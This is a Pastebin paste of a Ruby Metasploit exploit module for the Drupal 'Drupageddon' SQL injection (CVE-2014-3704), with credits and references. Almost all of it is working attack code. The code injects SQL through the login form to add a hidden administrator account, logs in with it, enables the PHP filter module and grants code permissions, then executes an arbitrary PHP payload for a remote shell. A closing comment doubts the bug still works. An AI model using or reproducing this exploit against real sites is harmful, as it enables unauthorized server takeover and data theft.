Advertisement
cc7

Drupal HTTP Parameter Key/Value SQL Injection Vulnerability

cc7
Nov 30th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.47 KB | None | 0 0
  1. include Msf::Exploit::Remote::HttpClient
  2.  
  3.   def initialize(info={})
  4.     super(update_info(info,
  5.       'Name'           => 'Drupal HTTP Parameter Key/Value SQL Injection',
  6.       'Description'    => %q{
  7.         This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
  8.         (aka Drupageddon) in order to achieve a remote shell on the vulnerable
  9.         instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
  10.         in 7.32).
  11.       },
  12.       'License'        => MSF_LICENSE,
  13.       'Author'         =>
  14.         [
  15.           'SektionEins',          # discovery
  16.           'Christian Mehlmauer',  # msf module
  17.           'Brandon Perry'         # msf module
  18.         ],
  19.       'References'     =>
  20.         [
  21.           ['CVE', '2014-3704'],
  22.           ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
  23.           ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
  24.         ],
  25.       'Privileged'     => false,
  26.       'Platform'       => ['php'],
  27.       'Arch'           => ARCH_PHP,
  28.       'Targets'        => [['Drupal 7.0 - 7.31',{}]],
  29.       'DisclosureDate' => 'Oct 15 2014',
  30.       'DefaultTarget'  => 0
  31.     ))
  32.  
  33.     register_options(
  34.     [
  35.       OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
  36.     ], self.class)
  37.  
  38.     register_advanced_options(
  39.     [
  40.       OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
  41.       OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
  42.     ], self.class)
  43.   end
  44.  
  45.   def uri_path
  46.     normalize_uri(target_uri.path)
  47.   end
  48.  
  49.   def admin_role
  50.     datastore['ADMIN_ROLE']
  51.   end
  52.  
  53.   def iter
  54.     datastore['ITER']
  55.   end
  56.  
  57.   def itoa64
  58.     './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  59.   end
  60.  
  61.   # PHPs PHPASS base64 method
  62.   def phpass_encode64(input, count)
  63.     out = ''
  64.     cur = 0
  65.     while cur < count
  66.       value = input[cur].ord
  67.       cur += 1
  68.       out << itoa64[value & 0x3f]
  69.       if cur < count
  70.         value |= input[cur].ord << 8
  71.       end
  72.       out << itoa64[(value >> 6) & 0x3f]
  73.       break if cur >= count
  74.       cur += 1
  75.  
  76.       if cur < count
  77.         value |= input[cur].ord << 16
  78.       end
  79.       out << itoa64[(value >> 12) & 0x3f]
  80.       break if cur >= count
  81.       cur += 1
  82.       out << itoa64[(value >> 18) & 0x3f]
  83.     end
  84.     out
  85.   end
  86.  
  87.   def generate_password_hash(pass)
  88.     # Syntax for MD5:
  89.     # $P$ = MD5
  90.     # one char representing the hash iterations (min 7)
  91.     # 8 chars salt
  92.     # MD5_raw(salt.pass) + iterations
  93.     # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
  94.     iter_char = itoa64[iter]
  95.     salt = Rex::Text.rand_text_alpha(8)
  96.     md5 = Rex::Text.md5_raw("#{salt}#{pass}")
  97.     # convert iter from log2 to integer
  98.     iter_count = 2**iter
  99.     1.upto(iter_count) {
  100.       md5 = Rex::Text.md5_raw("#{md5}#{pass}")
  101.     }
  102.     md5_base64 = phpass_encode64(md5, md5.length)
  103.     md5_stripped = md5_base64[0...22]
  104.     pass = "$P\\$" + iter_char + salt + md5_stripped
  105.     vprint_debug("#{peer} - password hash: #{pass}")
  106.  
  107.     return pass
  108.   end
  109.  
  110.   def sql_insert_user(user, pass)
  111.     "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
  112.   end
  113.  
  114.   def sql_make_user_admin(user)
  115.     "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
  116.   end
  117.  
  118.   def extract_form_ids(content)
  119.     form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
  120.     form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
  121.  
  122.     vprint_debug("#{peer} - form_build_id: #{form_build_id}")
  123.     vprint_debug("#{peer} - form_token: #{form_token}")
  124.  
  125.     return form_build_id, form_token
  126.   end
  127.  
  128.   def exploit
  129.  
  130.     # TODO: Check if option admin_role exists via admin/people/permissions/roles
  131.  
  132.     # call login page to extract tokens
  133.     print_status("#{peer} - Testing page")
  134.     res = send_request_cgi({
  135.       'uri' => uri_path,
  136.       'vars_get' => {
  137.         'q' => 'user/login'
  138.       }
  139.     })
  140.  
  141.     unless res and res.body
  142.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  143.     end
  144.  
  145.     form_build_id, form_token = extract_form_ids(res.body)
  146.  
  147.     user = Rex::Text.rand_text_alpha(10)
  148.     pass = Rex::Text.rand_text_alpha(10)
  149.  
  150.     post = {
  151.       "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
  152.       'name[0]' => Rex::Text.rand_text_alpha(10),
  153.       'pass' => Rex::Text.rand_text_alpha(10),
  154.       'form_build_id' => form_build_id,
  155.       'form_id' => 'user_login',
  156.       'op' => 'Log in'
  157.     }
  158.  
  159.     print_status("#{peer} - Creating new user #{user}:#{pass}")
  160.     res = send_request_cgi({
  161.       'uri' => uri_path,
  162.       'method' => 'POST',
  163.       'vars_post' => post,
  164.       'vars_get' => {
  165.         'q' => 'user/login'
  166.       }
  167.     })
  168.  
  169.     unless res and res.body
  170.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  171.     end
  172.  
  173.     # login
  174.     print_status("#{peer} - Logging in as #{user}:#{pass}")
  175.     res = send_request_cgi({
  176.       'uri' => uri_path,
  177.       'method' => 'POST',
  178.       'vars_post' => {
  179.         'name' => user,
  180.         'pass' => pass,
  181.         'form_build_id' => form_build_id,
  182.         'form_id' => 'user_login',
  183.         'op' => 'Log in'
  184.       },
  185.       'vars_get' => {
  186.         'q' => 'user/login'
  187.       }
  188.     })
  189.  
  190.     unless res and res.code == 302
  191.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  192.     end
  193.  
  194.     cookie = res.get_cookies
  195.     vprint_debug("#{peer} - cookie: #{cookie}")
  196.  
  197.     # call admin interface to extract CSRF token and enabled modules
  198.     print_status("#{peer} - Trying to parse enabled modules")
  199.     res = send_request_cgi({
  200.       'uri' => uri_path,
  201.       'vars_get' => {
  202.         'q' => 'admin/modules'
  203.       },
  204.       'cookie' => cookie
  205.     })
  206.  
  207.     form_build_id, form_token = extract_form_ids(res.body)
  208.  
  209.     enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
  210.     enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
  211.  
  212.     unless enabled_matches
  213.       fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
  214.     end
  215.  
  216.     post = {
  217.       'modules[Core][php][enable]' => '1',
  218.       'form_build_id' => form_build_id,
  219.       'form_token' => form_token,
  220.       'form_id' => 'system_modules',
  221.       'op' => 'Save configuration'
  222.     }
  223.  
  224.     enabled_matches.each do |match|
  225.       post[match.captures[0]] = '1'
  226.     end
  227.  
  228.     # enable PHP filter
  229.     print_status("#{peer} - Enabling the PHP filter module")
  230.     res = send_request_cgi({
  231.       'uri' => uri_path,
  232.       'method' => 'POST',
  233.       'vars_post' => post,
  234.       'vars_get' => {
  235.         'q' => 'admin/modules/list/confirm'
  236.       },
  237.       'cookie' => cookie
  238.     })
  239.  
  240.     unless res and res.body
  241.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  242.     end
  243.  
  244.     # Response: http 302, Location: http://10.211.55.50/?q=admin/modules
  245.  
  246.     print_status("#{peer} - Setting permissions for PHP filter module")
  247.  
  248.     # allow admin to use php_code
  249.     res = send_request_cgi({
  250.       'uri' => uri_path,
  251.       'vars_get' => {
  252.         'q' => 'admin/people/permissions'
  253.       },
  254.       'cookie' => cookie
  255.     })
  256.  
  257.  
  258.     unless res and res.body
  259.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  260.     end
  261.  
  262.     form_build_id, form_token = extract_form_ids(res.body)
  263.  
  264.     perm_regex = /name="(.*)" value="(.*)" checked="checked"/
  265.     enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
  266.  
  267.     unless enabled_perms
  268.       fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
  269.     end
  270.  
  271.     # get administrator role id
  272.     id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
  273.     vprint_debug("#{peer} - admin role id: #{id}")
  274.  
  275.     unless id
  276.       fail_with(Failure::Unknown, "Could not parse out administrator ID")
  277.     end
  278.  
  279.     post = {
  280.       "#{id}[use text format php_code]" => 'use text format php_code',
  281.       'form_build_id' => form_build_id,
  282.       'form_token' => form_token,
  283.       'form_id' => 'user_admin_permissions',
  284.       'op' => 'Save permissions'
  285.     }
  286.  
  287.     enabled_perms.each do |match|
  288.       post[match.captures[0]] = match.captures[1]
  289.     end
  290.  
  291.     res = send_request_cgi({
  292.       'uri' => uri_path,
  293.       'method' => 'POST',
  294.       'vars_post' => post,
  295.       'vars_get' => {
  296.         'q' => 'admin/people/permissions'
  297.       },
  298.       'cookie' => cookie
  299.     })
  300.  
  301.     unless res and res.body
  302.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  303.     end
  304.  
  305.     # Add new Content page (extract csrf token)
  306.     print_status("#{peer} - Getting tokens from create new article page")
  307.     res = send_request_cgi({
  308.       'uri' => uri_path,
  309.       'vars_get' => {
  310.         'q' => 'node/add/article'
  311.       },
  312.       'cookie' => cookie
  313.     })
  314.  
  315.     unless res and res.body
  316.       fail_with(Failure::Unknown, "No response or response body, bailing.")
  317.     end
  318.  
  319.     form_build_id, form_token = extract_form_ids(res.body)
  320.  
  321.     # Preview to trigger the payload
  322.     data = Rex::MIME::Message.new
  323.     data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
  324.     data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
  325.     data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
  326.     data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
  327.     data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
  328.     data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
  329.     data.add_part('Preview', nil, nil, 'form-data; name="op"')
  330.     data.add_part(user, nil, nil, 'form-data; name="name"')
  331.     data.add_part('1', nil, nil, 'form-data; name="status"')
  332.     data.add_part('1', nil, nil, 'form-data; name="promote"')
  333.     post_data = data.to_s
  334.  
  335.     print_status("#{peer} - Calling preview page. Exploit should trigger...")
  336.     send_request_cgi(
  337.       'method'   => 'POST',
  338.       'uri'      => uri_path,
  339.       'ctype'    => "multipart/form-data; boundary=#{data.bound}",
  340.       'data'     => post_data,
  341.       'vars_get' => {
  342.         'q' => 'node/add/article'
  343.       },
  344.       'cookie' => cookie
  345.     )
  346.   end
  347. end
  348.  
  349. (this vuln is old and idk if it still works)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement